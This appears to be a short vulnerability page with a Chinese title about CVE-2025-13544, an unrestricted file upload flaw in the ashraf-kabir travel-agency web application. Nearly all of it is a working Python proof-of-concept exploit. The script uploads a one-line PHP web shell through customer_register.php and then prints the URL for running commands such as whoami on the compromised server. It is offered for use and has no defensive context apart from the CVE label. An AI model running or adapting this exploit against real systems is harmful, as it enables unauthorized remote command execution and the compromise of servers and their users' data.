CVE-2025-13544 ashraf-kabir travel-agency任意文件上传漏洞

import requests import sys # CVE-2025-13544 PoC - ashraf-kabir travel-agency Unrestricted File Upload # Target: /customer_register.php def exploit(target_url, file_path='shell.php'): """ Exploit unrestricted file upload vulnerability in customer_register.php """ upload_url = f"{target_url}/customer_register.php" # Prepare malicious PHP file php_shell = '<?php system($_GET["cmd"]); ?>' # Simple webshell # Prepare multipart form data files = { 'file': (file_path, php_shell, 'application/x-php') } data = { 'submit': 'Register' } try: # Send malicious upload request response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] File upload request sent to {upload_url}") print(f"[+] Check if shell was uploaded at: {target_url}/uploads/{file_path}") print(f"[+] Execute command: {target_url}/uploads/{file_path}?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/travel-agency") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)